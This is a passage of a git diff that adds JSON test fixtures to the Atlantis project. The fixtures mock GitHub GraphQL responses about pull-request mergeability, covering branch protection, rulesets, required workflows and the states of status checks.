+ "isRequired": true + } + ] + } + } + } + } + ] + } + } + } + } +} \ No newline at end of file diff --git a/server/events/vcs/testdata/github-pull-request-mergeability/branch-protection-passed.json b/server/events/vcs/testdata/github-pull-request-mergeability/branch-protection-passed.json new file mode 100644 index 0000000000..3dd40fcf2a --- /dev/null +++ b/server/events/vcs/testdata/github-pull-request-mergeability/branch-protection-passed.json @@ -0,0 +1,64 @@ +{ + "data": { + "repository": { + "pullRequest": { + "reviewDecision": null, + "baseRef": { + "branchProtectionRule": { + "requiredStatusChecks": [ + { + "context": "atlantis/apply" + }, + { + "context": "my-required-expected-check" + } + ] + }, + "rules": { + "pageInfo": { + "endCursor": "QWERTY", + "hasNextPage": false + }, + "nodes": [] + } + }, + "commits": { + "nodes": [ + { + "commit": { + "statusCheckRollup": { + "contexts": { + "pageInfo": { + "endCursor": "QWERTY", + "hasNextPage": false + }, + "nodes": [ + { + "__typename": "StatusContext", + "context": "atlantis/apply", + "state": "PENDING", + "isRequired": true + }, + { + "__typename": "StatusContext", + "context": "atlantis/plan", + "state": "SUCCESS", + "isRequired": false + }, + { + "__typename": "StatusContext", + "context": "my-required-expected-check", + "state": "SUCCESS", + "isRequired": true + } + ] + } + } + } + } + ] + } + } + } + } +} \ No newline at end of file diff --git a/server/events/vcs/testdata/github-pull-request-mergeability/repository-id.json b/server/events/vcs/testdata/github-pull-request-mergeability/repository-id.json new file mode 100644 index 0000000000..9e6d02e114 --- /dev/null +++ b/server/events/vcs/testdata/github-pull-request-mergeability/repository-id.json @@ -0,0 +1,7 @@ +{ + "data": { + "repository": { + "databaseId": 120519269 + } + } +} \ No newline at end of file diff --git a/server/events/vcs/testdata/github-pull-request-mergeability/ruleset-atlantis-apply-expected.json b/server/events/vcs/testdata/github-pull-request-mergeability/ruleset-atlantis-apply-expected.json new file mode 100644 index 0000000000..f83b126d4e --- /dev/null +++ b/server/events/vcs/testdata/github-pull-request-mergeability/ruleset-atlantis-apply-expected.json @@ -0,0 +1,52 @@ +{ + "data": { + "repository": { + "pullRequest": { + "reviewDecision": null, + "baseRef": { + "branchProtectionRule": { + "requiredStatusChecks": [] + }, + "rules": { + "pageInfo": { + "endCursor": "QWERTY", + "hasNextPage": false + }, + "nodes": [ + { + "type": "REQUIRED_STATUS_CHECKS", + "repositoryRuleset": { + "enforcement": "ACTIVE" + }, + "parameters": { + "requiredStatusChecks": [ + { + "context": "atlantis/apply" + } + ] + } + } + ] + } + }, + "commits": { + "nodes": [ + { + "commit": { + "statusCheckRollup": { + "contexts": { + "pageInfo": { + "endCursor": "QWERTY", + "hasNextPage": false + }, + "nodes": [] + } + } + } + } + ] + } + } + } + } +} diff --git a/server/events/vcs/testdata/github-pull-request-mergeability/ruleset-atlantis-apply-pending.json b/server/events/vcs/testdata/github-pull-request-mergeability/ruleset-atlantis-apply-pending.json new file mode 100644 index 0000000000..4ce1799bcd --- /dev/null +++ b/server/events/vcs/testdata/github-pull-request-mergeability/ruleset-atlantis-apply-pending.json @@ -0,0 +1,65 @@ +{ + "data": { + "repository": { + "pullRequest": { + "reviewDecision": null, + "baseRef": { + "branchProtectionRule": { + "requiredStatusChecks": [] + }, + "rules": { + "pageInfo": { + "endCursor": "QWERTY", + "hasNextPage": false + }, + "nodes": [ + { + "type": "REQUIRED_STATUS_CHECKS", + "repositoryRuleset": { + "enforcement": "ACTIVE" + }, + "parameters": { + "requiredStatusChecks": [ + { + "context": "atlantis/apply" + } + ] + } + } + ] + } + }, + "commits": { + "nodes": [ + { + "commit": { + "statusCheckRollup": { + "contexts": { + "pageInfo": { + "endCursor": "QWERTY", + "hasNextPage": false + }, + "nodes": [ + { + "__typename": "StatusContext", + "context": "atlantis/apply", + "state": "PENDING", + "isRequired": true + }, + { + "__typename": "StatusContext", + "context": "atlantis/plan", + "state": "SUCCESS", + "isRequired": false + } + ] + } + } + } + } + ] + } + } + } + } +} \ No newline at end of file diff --git a/server/events/vcs/testdata/github-pull-request-mergeability/ruleset-check-expected.json b/server/events/vcs/testdata/github-pull-request-mergeability/ruleset-check-expected.json new file mode 100644 index 0000000000..d0914e6395 --- /dev/null +++ b/server/events/vcs/testdata/github-pull-request-mergeability/ruleset-check-expected.json @@ -0,0 +1,68 @@ +{ + "data": { + "repository": { + "pullRequest": { + "reviewDecision": null, + "baseRef": { + "branchProtectionRule": { + "requiredStatusChecks": [] + }, + "rules": { + "pageInfo": { + "endCursor": "QWERTY", + "hasNextPage": false + }, + "nodes": [ + { + "type": "REQUIRED_STATUS_CHECKS", + "repositoryRuleset": { + "enforcement": "ACTIVE" + }, + "parameters": { + "requiredStatusChecks": [ + { + "context": "atlantis/apply" + }, + { + "context": "my-required-expected-check" + } + ] + } + } + ] + } + }, + "commits": { + "nodes": [ + { + "commit": { + "statusCheckRollup": { + "contexts": { + "pageInfo": { + "endCursor": "QWERTY", + "hasNextPage": false + }, + "nodes": [ + { + "__typename": "StatusContext", + "context": "atlantis/apply", + "state": "PENDING", + "isRequired": true + }, + { + "__typename": "StatusContext", + "context": "atlantis/plan", + "state": "SUCCESS", + "isRequired": false + } + ] + } + } + } + } + ] + } + } + } + } +} \ No newline at end of file diff --git a/server/events/vcs/testdata/github-pull-request-mergeability/ruleset-check-failed-other-atlantis.json b/server/events/vcs/testdata/github-pull-request-mergeability/ruleset-check-failed-other-atlantis.json new file mode 100644 index 0000000000..38d291aa74 --- /dev/null +++ b/server/events/vcs/testdata/github-pull-request-mergeability/ruleset-check-failed-other-atlantis.json @@ -0,0 +1,80 @@ +{ + "data": { + "repository": { + "pullRequest": { + "reviewDecision": null, + "baseRef": { + "branchProtectionRule": { + "requiredStatusChecks": [] + }, + "rules": { + "pageInfo": { + "endCursor": "QWERTY", + "hasNextPage": false + }, + "nodes": [ + { + "type": "REQUIRED_STATUS_CHECKS", + "repositoryRuleset": { + "enforcement": "ACTIVE" + }, + "parameters": { + "requiredStatusChecks": [ + { + "context": "atlantis/apply" + }, + { + "context": "other-atlantis/apply" + } + ] + } + } + ] + } + }, + "commits": { + "nodes": [ + { + "commit": { + "statusCheckRollup": { + "contexts": { + "pageInfo": { + "endCursor": "QWERTY", + "hasNextPage": false + }, + "nodes": [ + { + "__typename": "StatusContext", + "context": "atlantis/apply", + "state": "PENDING", + "isRequired": true + }, + { + "__typename": "StatusContext", + "context": "atlantis/plan", + "state": "SUCCESS", + "isRequired": false + }, + { + "__typename": "StatusContext", + "context": "other-atlantis/apply", + "state": "FAILED", + "isRequired": true + }, + { + "__typename": "StatusContext", + "context": "other-atlantis/apply", + "state": "SUCCESS", + "isRequired": false + } + ] + } + } + } + } + ] + } + } + } + } +} diff --git a/server/events/vcs/testdata/github-pull-request-mergeability/ruleset-check-failed.json b/server/events/vcs/testdata/github-pull-request-mergeability/ruleset-check-failed.json new file mode 100644 index 0000000000..6bc4f55c25 --- /dev/null +++ b/server/events/vcs/testdata/github-pull-request-mergeability/ruleset-check-failed.json @@ -0,0 +1,74 @@ +{ + "data": { + "repository": { + "pullRequest": { + "reviewDecision": null, + "baseRef": { + "branchProtectionRule": { + "requiredStatusChecks": [] + }, + "rules": { + "pageInfo": { + "endCursor": "QWERTY", + "hasNextPage": false + }, + "nodes": [ + { + "type": "REQUIRED_STATUS_CHECKS", + "repositoryRuleset": { + "enforcement": "ACTIVE" + }, + "parameters": { + "requiredStatusChecks": [ + { + "context": "atlantis/apply" + }, + { + "context": "my-required-expected-check" + } + ] + } + } + ] + } + }, + "commits": { + "nodes": [ + { + "commit": { + "statusCheckRollup": { + "contexts": { + "pageInfo": { + "endCursor": "QWERTY", + "hasNextPage": false + }, + "nodes": [ + { + "__typename": "StatusContext", + "context": "atlantis/apply", + "state": "PENDING", + "isRequired": true + }, + { + "__typename": "StatusContext", + "context": "atlantis/plan", + "state": "SUCCESS", + "isRequired": false + }, + { + "__typename": "StatusContext", + "context": "my-required-expected-check", + "state": "FAILED", + "isRequired": true + } + ] + } + } + } + } + ] + } + } + } + } +} \ No newline at end of file diff --git a/server/events/vcs/testdata/github-pull-request-mergeability/ruleset-check-neutral.json b/server/events/vcs/testdata/github-pull-request-mergeability/ruleset-check-neutral.json new file mode 100644 index 0000000000..f6b3183780 --- /dev/null +++ b/server/events/vcs/testdata/github-pull-request-mergeability/ruleset-check-neutral.json @@ -0,0 +1,74 @@ +{ + "data": { + "repository": { + "pullRequest": { + "reviewDecision": null, + "baseRef": { + "branchProtectionRule": { + "requiredStatusChecks": [] + }, + "rules": { + "pageInfo": { + "endCursor": "QWERTY", + "hasNextPage": false + }, + "nodes": [ + { + "type": "REQUIRED_STATUS_CHECKS", + "repositoryRuleset": { + "enforcement": "ACTIVE" + }, + "parameters": { + "requiredStatusChecks": [ + { + "context": "atlantis/apply" + }, + { + "context": "my-required-expected-check" + } + ] + } + } + ] + } + }, + "commits": { + "nodes": [ + { + "commit": { + "statusCheckRollup": { + "contexts": { + "pageInfo": { + "endCursor": "QWERTY", + "hasNextPage": false + }, + "nodes": [ + { + "__typename": "StatusContext", + "context": "atlantis/apply", + "state": "PENDING", + "isRequired": true + }, + { + "__typename": "StatusContext", + "context": "atlantis/plan", + "state": "SUCCESS", + "isRequired": false + }, + { + "__typename": "CheckRun", + "name": "my-required-expected-check", + "conclusion": "NEUTRAL", + "isRequired": true + } + ] + } + } + } + } + ] + } + } + } + } +} \ No newline at end of file diff --git a/server/events/vcs/testdata/github-pull-request-mergeability/ruleset-check-passed.json b/server/events/vcs/testdata/github-pull-request-mergeability/ruleset-check-passed.json new file mode 100644 index 0000000000..95b7b5350c --- /dev/null +++ b/server/events/vcs/testdata/github-pull-request-mergeability/ruleset-check-passed.json @@ -0,0 +1,74 @@ +{ + "data": { + "repository": { + "pullRequest": { + "reviewDecision": null, + "baseRef": { + "branchProtectionRule": { + "requiredStatusChecks": [] + }, + "rules": { + "pageInfo": { + "endCursor": "QWERTY", + "hasNextPage": false + }, + "nodes": [ + { + "type": "REQUIRED_STATUS_CHECKS", + "repositoryRuleset": { + "enforcement": "ACTIVE" + }, + "parameters": { + "requiredStatusChecks": [ + { + "context": "atlantis/apply" + }, + { + "context": "my-required-expected-check" + } + ] + } + } + ] + } + }, + "commits": { + "nodes": [ + { + "commit": { + "statusCheckRollup": { + "contexts": { + "pageInfo": { + "endCursor": "QWERTY", + "hasNextPage": false + }, + "nodes": [ + { + "__typename": "StatusContext", + "context": "atlantis/apply", + "state": "PENDING", + "isRequired": true + }, + { + "__typename": "StatusContext", + "context": "atlantis/plan", + "state": "SUCCESS", + "isRequired": false + }, + { + "__typename": "StatusContext", + "context": "my-required-expected-check", + "state": "SUCCESS", + "isRequired": true + } + ] + } + } + } + } + ] + } + } + } + } +} \ No newline at end of file diff --git a/server/events/vcs/testdata/github-pull-request-mergeability/ruleset-check-pending-other-atlantis.json b/server/events/vcs/testdata/github-pull-request-mergeability/ruleset-check-pending-other-atlantis.json new file mode 100644 index 0000000000..f0936309e0 --- /dev/null +++ b/server/events/vcs/testdata/github-pull-request-mergeability/ruleset-check-pending-other-atlantis.json @@ -0,0 +1,80 @@ +{ + "data": { + "repository": { + "pullRequest": { + "reviewDecision": null, + "baseRef": { + "branchProtectionRule": { + "requiredStatusChecks": [] + }, + "rules": { + "pageInfo": { + "endCursor": "QWERTY", + "hasNextPage": false + }, + "nodes": [ + { + "type": "REQUIRED_STATUS_CHECKS", + "repositoryRuleset": { + "enforcement": "ACTIVE" + }, + "parameters": { + "requiredStatusChecks": [ + { + "context": "atlantis/apply" + }, + { + "context": "other-atlantis/apply" + } + ] + } + } + ] + } + }, + "commits": { + "nodes": [ + { + "commit": { + "statusCheckRollup": { + "contexts": { + "pageInfo": { + "endCursor": "QWERTY", + "hasNextPage": false + }, + "nodes": [ + { + "__typename": "StatusContext", + "context": "atlantis/apply", + "state": "PENDING", + "isRequired": true + }, + { + "__typename": "StatusContext", + "context": "atlantis/plan", + "state": "SUCCESS", + "isRequired": false + }, + { + "__typename": "StatusContext", + "context": "other-atlantis/apply", + "state": "PENDING", + "isRequired": true + }, + { + "__typename": "StatusContext", + "context": "other-atlantis/plan", + "state": "PENDING", + "isRequired": false + } + ] + } + } + } + } + ] + } + } + } + } +} diff --git a/server/events/vcs/testdata/github-pull-request-mergeability/ruleset-check-pending.json b/server/events/vcs/testdata/github-pull-request-mergeability/ruleset-check-pending.json new file mode 100644 index 0000000000..60d70332de --- /dev/null +++ b/server/events/vcs/testdata/github-pull-request-mergeability/ruleset-check-pending.json @@ -0,0 +1,74 @@ +{ + "data": { + "repository": { + "pullRequest": { + "reviewDecision": null, + "baseRef": { + "branchProtectionRule": { + "requiredStatusChecks": [] + }, + "rules": { + "pageInfo": { + "endCursor": "QWERTY", + "hasNextPage": false + }, + "nodes": [ + { + "type": "REQUIRED_STATUS_CHECKS", + "repositoryRuleset": { + "enforcement": "ACTIVE" + }, + "parameters": { + "requiredStatusChecks": [ + { + "context": "atlantis/apply" + }, + { + "context": "my-required-expected-check" + } + ] + } + } + ] + } + }, + "commits": { + "nodes": [ + { + "commit": { + "statusCheckRollup": { + "contexts": { + "pageInfo": { + "endCursor": "QWERTY", + "hasNextPage": false + }, + "nodes": [ + { + "__typename": "StatusContext", + "context": "atlantis/apply", + "state": "PENDING", + "isRequired": true + }, + { + "__typename": "StatusContext", + "context": "atlantis/plan", + "state": "SUCCESS", + "isRequired": false + }, + { + "__typename": "StatusContext", + "context": "my-required-expected-check", + "state": "PENDING", + "isRequired": true + } + ] + } + } + } + } + ] + } + } + } + } +} \ No newline at end of file diff --git a/server/events/vcs/testdata/github-pull-request-mergeability/ruleset-check-skipped.json b/server/events/vcs/testdata/github-pull-request-mergeability/ruleset-check-skipped.json new file mode 100644 index 0000000000..8427088fe0 --- /dev/null +++ b/server/events/vcs/testdata/github-pull-request-mergeability/ruleset-check-skipped.json @@ -0,0 +1,74 @@ +{ + "data": { + "repository": { + "pullRequest": { + "reviewDecision": null, + "baseRef": { + "branchProtectionRule": { + "requiredStatusChecks": [] + }, + "rules": { + "pageInfo": { + "endCursor": "QWERTY", + "hasNextPage": false + }, + "nodes": [ + { + "type": "REQUIRED_STATUS_CHECKS", + "repositoryRuleset": { + "enforcement": "ACTIVE" + }, + "parameters": { + "requiredStatusChecks": [ + { + "context": "atlantis/apply" + }, + { + "context": "my-required-expected-check" + } + ] + } + } + ] + } + }, + "commits": { + "nodes": [ + { + "commit": { + "statusCheckRollup": { + "contexts": { + "pageInfo": { + "endCursor": "QWERTY", + "hasNextPage": false + }, + "nodes": [ + { + "__typename": "StatusContext", + "context": "atlantis/apply", + "state": "PENDING", + "isRequired": true + }, + { + "__typename": "StatusContext", + "context": "atlantis/plan", + "state": "SUCCESS", + "isRequired": false + }, + { + "__typename": "CheckRun", + "name": "my-required-expected-check", + "conclusion": "SKIPPED", + "isRequired": true + } + ] + } + } + } + } + ] + } + } + } + } +} \ No newline at end of file diff --git a/server/events/vcs/testdata/github-pull-request-mergeability/ruleset-evaluate-workflow-failed.json b/server/events/vcs/testdata/github-pull-request-mergeability/ruleset-evaluate-workflow-failed.json new file mode 100644 index 0000000000..3fe4178f65 --- /dev/null +++ b/server/events/vcs/testdata/github-pull-request-mergeability/ruleset-evaluate-workflow-failed.json @@ -0,0 +1,96 @@ +{ + "data": { + "repository": { + "pullRequest": { + "reviewDecision": null, + "baseRef": { + "branchProtectionRule": { + "requiredStatusChecks": [] + }, + "rules": { + "pageInfo": { + "endCursor": "QWERTY", + "hasNextPage": false + }, + "nodes": [ + { + "type": "REQUIRED_STATUS_CHECKS", + "repositoryRuleset": { + "enforcement": "ACTIVE" + }, + "parameters": { + "requiredStatusChecks": [ + { + "context": "atlantis/apply" + } + ] + } + }, + { + "type": "WORKFLOWS", + "repositoryRuleset": { + "enforcement": "EVALUATE" + }, + "parameters": { + "workflows": [ + { + "path": ".github/workflows/my-required-workflow.yaml", + "repositoryId": 120519269, + "sha": null + } + ] + } + } + ] + } + }, + "commits": { + "nodes": [ + { + "commit": { + "statusCheckRollup": { + "contexts": { + "pageInfo": { + "endCursor": "QWERTY", + "hasNextPage": false + }, + "nodes": [ + { + "__typename": "StatusContext", + "context": "atlantis/apply", + "state": "PENDING", + "isRequired": true + }, + { + "__typename": "StatusContext", + "context": "atlantis/plan", + "state": "SUCCESS", + "isRequired": false + }, + { + "__typename": "CheckRun", + "name": "my required (evaluate-enforcement) check", + "conclusion": "FAILURE", + "isRequired": true, + "checkSuite": { + "workflowRun": { + "file": { + "path": ".github/workflows/my-required-workflow.yaml", + "repositoryFileUrl": "https://github.com/runatlantis/atlantis/blob/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/.github/workflows/my-required-workflow.yaml", + "repositoryName": "runatlantis/atlantis" + }, + "runNumber": 1 + } + } + } + ] + } + } + } + } + ] + } + } + } + } +} diff --git a/server/events/vcs/testdata/github-pull-request-mergeability/ruleset-optional-check-failed.json b/server/events/vcs/testdata/github-pull-request-mergeability/ruleset-optional-check-failed.json new file mode 100644 index 0000000000..6368cbe69e --- /dev/null +++ b/server/events/vcs/testdata/github-pull-request-mergeability/ruleset-optional-check-failed.json @@ -0,0 +1,71 @@ +{ + "data": { + "repository": { + "pullRequest": { + "reviewDecision": null, + "baseRef": { + "branchProtectionRule": { + "requiredStatusChecks": [] + }, + "rules": { + "pageInfo": { + "endCursor": "QWERTY", + "hasNextPage": false + }, + "nodes": [ + { + "type": "REQUIRED_STATUS_CHECKS", + "repositoryRuleset": { + "enforcement": "ACTIVE" + }, + "parameters": { + "requiredStatusChecks": [ + { + "context": "atlantis/apply" + } + ] + } + } + ] + } + }, + "commits": { + "nodes": [ + { + "commit": { + "statusCheckRollup": { + "contexts": { + "pageInfo": { + "endCursor": "QWERTY", + "hasNextPage": false + }, + "nodes": [ + { + "__typename": "StatusContext", + "context": "atlantis/apply", + "state": "PENDING", + "isRequired": true + }, + { + "__typename": "StatusContext", + "context": "atlantis/plan", + "state": "SUCCESS", + "isRequired": false + }, + { + "__typename": "CheckRun", + "name": "my-optional-check", + "conclusion": "FAILURE", + "isRequired": false + } + ] + } + } + } + } + ] + } + } + } + } +} \ No newline at end of file diff --git a/server/events/vcs/testdata/github-pull-request-mergeability/ruleset-optional-status-failed.json b/server/events/vcs/testdata/github-pull-request-mergeability/ruleset-optional-status-failed.json new file mode 100644 index 0000000000..111ff4337a --- /dev/null +++ b/server/events/vcs/testdata/github-pull-request-mergeability/ruleset-optional-status-failed.json @@ -0,0 +1,71 @@ +{ + "data": { + "repository": { + "pullRequest": { + "reviewDecision": null, + "baseRef": { + "branchProtectionRule": { + "requiredStatusChecks": [] + }, + "rules": { + "pageInfo": { + "endCursor": "QWERTY", + "hasNextPage": false + }, + "nodes": [ + { + "type": "REQUIRED_STATUS_CHECKS", + "repositoryRuleset": { + "enforcement": "ACTIVE" + }, + "parameters": { + "requiredStatusChecks": [ + { + "context": "atlantis/apply" + } + ] + } + } + ] + } + }, + "commits": { + "nodes": [ + { + "commit": { + "statusCheckRollup": { + "contexts": { + "pageInfo": { + "endCursor": "QWERTY", + "hasNextPage": false + }, + "nodes": [ + { + "__typename": "StatusContext", + "context": "atlantis/apply", + "state": "PENDING", + "isRequired": true + }, + { + "__typename": "StatusContext", + "context": "atlantis/plan", + "state": "SUCCESS", + "isRequired": false + }, + { + "__typename": "StatusContext", + "context": "my-optional-check", + "state": "FAILURE", + "isRequired": false + } + ] + } + } + } + } + ] + } + } + } + } +} \ No newline at end of file diff --git a/server/events/vcs/testdata/github-pull-request-mergeability/ruleset-workflow-expected.json b/server/events/vcs/testdata/github-pull-request-mergeability/ruleset-workflow-expected.json new file mode 100644 index 0000000000..9b21af9390 --- /dev/null +++ b/server/events/vcs/testdata/github-pull-request-mergeability/ruleset-workflow-expected.json @@ -0,0 +1,80 @@ +{ + "data": { + "repository": { + "pullRequest": { + "reviewDecision": null, + "baseRef": { + "branchProtectionRule": { + "requiredStatusChecks": [] + }, + "rules": { + "pageInfo": { + "endCursor": "QWERTY", + "hasNextPage": false + }, + "nodes": [ + { + "type": "REQUIRED_STATUS_CHECKS", + "repositoryRuleset": { + "enforcement": "ACTIVE" + }, + "parameters": { + "requiredStatusChecks": [ + { + "context": "atlantis/apply" + } + ] + } + }, + { + "type": "WORKFLOWS", + "repositoryRuleset": { + "enforcement": "ACTIVE" + }, + "parameters": { + "workflows": [ + { + "path": ".github/workflows/my-required-workflow.yaml", + "repositoryId": 120519269, + "sha": null + } + ] + } + } + ] + } + }, + "commits": { + "nodes": [ + { + "commit": { + "statusCheckRollup": { + "contexts": { + "pageInfo": { + "endCursor": "QWERTY", + "hasNextPage": false + }, + "nodes": [ + { + "__typename": "StatusContext", + "context": "atlantis/apply", + "state": "PENDING", + "isRequired": true + }, + { + "__typename": "StatusContext", + "context": "atlantis/plan", + "state": "SUCCESS", + "isRequired": false + } + ] + } + } + } + } + ] + } + } + } + } +} \ No newline at end of file diff --git a/server/events/vcs/testdata/github-pull-request-mergeability/ruleset-workflow-failed.json b/server/events/vcs/testdata/github-pull-request-mergeability/ruleset-workflow-failed.json new file mode 100644 index 0000000000..3286ca50e3 --- /dev/null +++ b/server/events/vcs/testdata/github-pull-request-mergeability/ruleset-workflow-failed.json @@ -0,0 +1,96 @@ +{ + "data": { + "repository": { + "pullRequest": { + "reviewDecision": null, + "baseRef": { + "branchProtectionRule": { + "requiredStatusChecks": [] + }, + "rules": { + "pageInfo": { + "endCursor": "QWERTY", + "hasNextPage": false + }, + "nodes": [ + { + "type": "REQUIRED_STATUS_CHECKS", + "repositoryRuleset": { + "enforcement": "ACTIVE" + }, + "parameters": { + "requiredStatusChecks": [ + { + "context": "atlantis/apply" + } + ] + } + }, + { + "type": "WORKFLOWS", + "repositoryRuleset": { + "enforcement": "ACTIVE" + }, + "parameters": { + "workflows": [ + { + "path": ".github/workflows/my-required-workflow.yaml", + "repositoryId": 120519269, + "sha": null + } + ] + } + } + ] + } + }, + "commits": { + "nodes": [ + { + "commit": { + "statusCheckRollup": { + "contexts": { + "pageInfo": { + "endCursor": "QWERTY", + "hasNextPage": false + }, + "nodes": [ + { + "__typename": "StatusContext", + "context": "atlantis/apply", + "state": "PENDING", + "isRequired": true + }, + { + "__typename": "StatusContext", + "context": "atlantis/plan", + "state": "SUCCESS", + "isRequired": false + }, + { + "__typename": "CheckRun", + "name": "my required check", + "conclusion": "FAILURE", + "isRequired": true, + "checkSuite": { + "workflowRun": { + "file": { + "path": ".github/workflows/my-required-workflow.yaml", + "repositoryFileUrl": "https://github.com/runatlantis/atlantis/blob/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/.github/workflows/my-required-workflow.yaml", + "repositoryName": "runatlantis/atlantis" + }, + "runNumber": 1 + } + } + } + ] + } + } + } + } + ] + } + } + } + } +} diff --git a/server/events/vcs/testdata/github-pull-request-mergeability/ruleset-workflow-passed-multiple-runs.json b/server/events/vcs/testdata/github-pull-request-mergeability/ruleset-workflow-passed-multiple-runs.json new file mode 100644 index 0000000000..50fe3cd2b0 --- /dev/null +++ b/server/events/vcs/testdata/github-pull-request-mergeability/ruleset-workflow-passed-multiple-runs.json @@ -0,0 +1,112 @@ +{ + "data": { + "repository": { + "pullRequest": { + "reviewDecision": null, + "baseRef": { + "branchProtectionRule": { + "requiredStatusChecks": [] + }, + "rules": { + "pageInfo": { + "endCursor": "QWERTY", + "hasNextPage": false + }, + "nodes": [ + { + "type": "REQUIRED_STATUS_CHECKS", + "repositoryRuleset": { + "enforcement": "ACTIVE" + }, + "parameters": { + "requiredStatusChecks": [ + { + "context": "atlantis/apply" + } + ] + } + }, + { + "type": "WORKFLOWS", + "repositoryRuleset": { + "enforcement": "ACTIVE" + }, + "parameters": { + "workflows": [ + { + "path": ".github/workflows/my-required-workflow.yaml", + "repositoryId": 120519269, + "sha": null + } + ] + } + } + ] + } + }, + "commits": { + "nodes": [ + { + "commit": { + "statusCheckRollup": { + "contexts": { + "pageInfo": { + "endCursor": "QWERTY", + "hasNextPage": false + }, + "nodes": [ + { + "__typename": "StatusContext", + "context": "atlantis/apply", + "state": "PENDING", + "isRequired": true + }, + { + "__typename": "StatusContext", + "context": "atlantis/plan", + "state": "SUCCESS", + "isRequired": false + }, + { + "__typename": "CheckRun", + "name": "my required check", + "conclusion": "FAILURE", + "isRequired": true, + "checkSuite": { + "workflowRun": { + "file": { + "path": ".github/workflows/my-required-workflow.yaml", + "repositoryFileUrl": "https://github.com/runatlantis/atlantis/blob/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/.github/workflows/my-required-workflow.yaml", + "repositoryName": "runatlantis/atlantis" + }, + "runNumber": 1 + } + } + }, + { + "__typename": "CheckRun", + "name": "my required check", + "conclusion": "SUCCESS", + "isRequired": true, + "checkSuite": { + "workflowRun": { + "file": { + "path": ".github/workflows/my-required-workflow.yaml", + "repositoryFileUrl": "https://github.com/runatlantis/atlantis/blob/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/.github/workflows/my-required-workflow.yaml", + "repositoryName": "runatlantis/atlantis" + }, + "runNumber": 2 + } + } + } + ] + } + } + } + } + ] + } + } + } + } +} diff --git a/server/events/vcs/testdata/github-pull-request-mergeability/ruleset-workflow-passed-sha-match.json b/server/events/vcs/testdata/github-pull-request-mergeability/ruleset-workflow-passed-sha-match.json new file mode 100644 index 0000000000..cb7d45432c --- /dev/null +++ b/server/events/vcs/testdata/github-pull-request-mergeability/ruleset-workflow-passed-sha-match.json @@ -0,0 +1,96 @@ +{ + "data": { + "repository": { + "pullRequest": { + "reviewDecision": null, + "baseRef": { + "branchProtectionRule": { + "requiredStatusChecks": [] + }, + "rules": { + "pageInfo": { + "endCursor": "QWERTY", + "hasNextPage": false + }, + "nodes": [ + { + "type": "REQUIRED_STATUS_CHECKS", + "repositoryRuleset": { + "enforcement": "ACTIVE" + }, + "parameters": { + "requiredStatusChecks": [ + { + "context": "atlantis/apply" + } + ] + } + }, + { + "type": "WORKFLOWS", + "repositoryRuleset": { + "enforcement": "ACTIVE" + }, + "parameters": { + "workflows": [ + { + "path": ".github/workflows/my-required-workflow.yaml", + "repositoryId": 120519269, + "sha": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ] + } + } + ] + } + }, + "commits": { + "nodes": [ + { + "commit": { + "statusCheckRollup": { + "contexts": { + "pageInfo": { + "endCursor": "QWERTY", + "hasNextPage": false + }, + "nodes": [ + { + "__typename": "StatusContext", + "context": "atlantis/apply", + "state": "PENDING", + "isRequired": true + }, + { + "__typename": "StatusContext", + "context": "atlantis/plan", + "state": "SUCCESS", + "isRequired": false + }, + { + "__typename": "CheckRun", + "name": "my required check", + "conclusion": "SUCCESS", + "isRequired": true, + "checkSuite": { + "workflowRun": { + "file": { + "path": ".github/workflows/my-required-workflow.yaml", + "repositoryFileUrl": "https://github.com/runatlantis/atlantis/blob/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/.github/workflows/my-required-workflow.yaml", + "repositoryName": "runatlantis/atlantis" + }, + "runNumber": 1 + } + } + } + ] + } + } + } + } + ] + } + } + } + } +} diff --git a/server/events/vcs/testdata/github-pull-request-mergeability/ruleset-workflow-passed-sha-mismatch.json b/server/events/vcs/testdata/github-pull-request-mergeability/ruleset-workflow-passed-sha-mismatch.json new file mode 100644 index 0000000000..228a66e430 --- /dev/null +++ b/server/events/vcs/testdata/github-pull-request-mergeability/ruleset-workflow-passed-sha-mismatch.json @@ -0,0 +1,96 @@ +{ + "data": { + "repository": { + "pullRequest": { + "reviewDecision": null, + "baseRef": { + "branchProtectionRule": { + "requiredStatusChecks": [] + }, + "rules": { + "pageInfo": { + "endCursor": "QWERTY", + "hasNextPage": false + }, + "nodes": [ + { + "type": "REQUIRED_STATUS_CHECKS", + "repositoryRuleset": { + "enforcement": "ACTIVE" + }, + "parameters": { + "requiredStatusChecks": [ + { + "context": "atlantis/apply" + } + ] + } + }, + { + "type": "WORKFLOWS", + "repositoryRuleset": { + "enforcement": "ACTIVE" + }, + "parameters": { + "workflows": [ + { + "path": ".github/workflows/my-required-workflow.yaml", + "repositoryId": 120519269, + "sha": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ] + } + } + ] + } + }, + "commits": { + "nodes": [ + { + "commit": { + "statusCheckRollup": { + "contexts": { + "pageInfo": { + "endCursor": "QWERTY", + "hasNextPage": false + }, + "nodes": [ + { + "__typename": "StatusContext", + "context": "atlantis/apply", + "state": "PENDING", + "isRequired": true + }, + { + "__typename": "StatusContext", + "context": "atlantis/plan", + "state": "SUCCESS", + "isRequired": false + }, + { + "__typename": "CheckRun", + "name": "my required check", + "conclusion": "SUCCESS", + "isRequired": true, + "checkSuite": { + "workflowRun": { + "file": { + "path": ".github/workflows/my-required-workflow.yaml", + "repositoryFileUrl": "https://github.com/runatlantis/atlantis/blob/bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb/.github/workflows/my-required-workflow.yaml", + "repositoryName": "runatlantis/atlantis" + }, + "runNumber": 1 + } + } + } + ] + } + } + } + } + ] + } + } + } + } +} diff --git a/server/events/vcs/testdata/github-pull-request-mergeability/ruleset-workflow-passed.json b/server/events/vcs/testdata/github-pull-request-mergeability/ruleset-workflow-passed.json new file mode 100644 index 0000000000..8c964922d9 --- /dev/null +++ b/server/events/vcs/testdata/github-pull-request-mergeability/ruleset-workflow-passed.json @@ -0,0 +1,96 @@ +{ + "data": { + "repository": { + "pullRequest": { + "reviewDecision": null, + "baseRef": { + "branchProtectionRule": { + "requiredStatusChecks": [] + }, + "rules": { + "pageInfo": { + "endCursor": "QWERTY", + "hasNextPage": false + }, + 